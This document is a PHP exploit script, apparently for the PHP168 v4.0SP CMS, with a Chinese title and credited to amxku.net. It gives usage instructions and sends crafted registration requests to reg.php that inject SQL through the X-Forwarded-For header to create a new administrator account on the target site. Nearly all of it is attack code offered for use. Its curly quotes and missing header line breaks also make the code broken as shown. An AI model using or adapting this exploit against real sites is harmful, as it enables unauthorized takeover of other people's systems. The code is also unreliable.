PHP168 X-Forwarded-For的漏洞利用

<?php
print_r(”
+——————————————————————+
Create New Admin Exploit For php168 v4.0SP\n
amxku.net
+——————————————————————+

“);
if ($argc<4) {
echo “Usage: php “.$argv[0].” host path uid\n”;
echo “host:         target server \n”;
echo “path:         path to php168\n”;
echo “uid:         the user uid\n”;
echo “Example:”;
echo “php “.$argv[0].” www.php168.com / 123345\n”;
die;
}
$host=$argv[1];
$path=$argv[2];
$id=$argv[3]+2;
$cmd = “xxxx’,'0′,’111′,’0′,’1′,”, ”, ‘123′, ‘123′, ‘123′, ‘123′, ‘0′, ”, ‘0′, ”, ”, ”, ”),(’”.$id.“‘, ‘0′, ‘3′, ”, ‘1′, ‘0′, ”, ‘1′, ‘1′, ‘1′, ‘1′, ‘1′, ‘1′, ‘1′, ”, ”, ‘1′, ‘1′, ‘1′, ‘1′, ‘0′, ”, ‘0′, ”, ”, ”, ”)/*”;
$content_1= “username=amxku&email=amxku@msn.com&password=longze&password2=longze&bday_y=&bday_m=&bday_d=&sex=0&oicq=&msn=&homepage=&Submit3=%CC%E1+%BD%BB&step=2″;
$content_2= “username=amxku&email=amxku@msn.com&password=longze&password2=longze&bday_y=&bday_m=&bday_d=&sex=0&oicq=&msn=&homepage=&Submit3=%CC%E1+%BD%BB&step=2″;
senddate($content_1);
senddate($content_2);
function senddate($content){
global $path,$host,$cmd;
$data = “POST “.$path.“reg.php”.” HTTP/1.1″;
$data .= “Accept: */*”;
$data .= “Accept-Language: zh-cn”;
$data .= “Content-Type: application/x-www-form-urlencoded”;
$data .= “User-Agent: Mozilla/4.0″;
$data .= “Host: “.$host.“”;
$data .= “x-forwarded-for: “.$cmd.“”;
$data .= “Content-length: “.strlen($content).“”;
$data .= “Connection: Keep-Alive”;
$data .= “”;
$data .= $content.“”;
$sendto=fsockopen($host,80);
if (!$sendto) {
echo ‘No response from ‘.$host;
die;
}
fputs($sendto,$data);
fclose($sendto);
};
echo “Create a successful administrator\n amxku.net”;
?>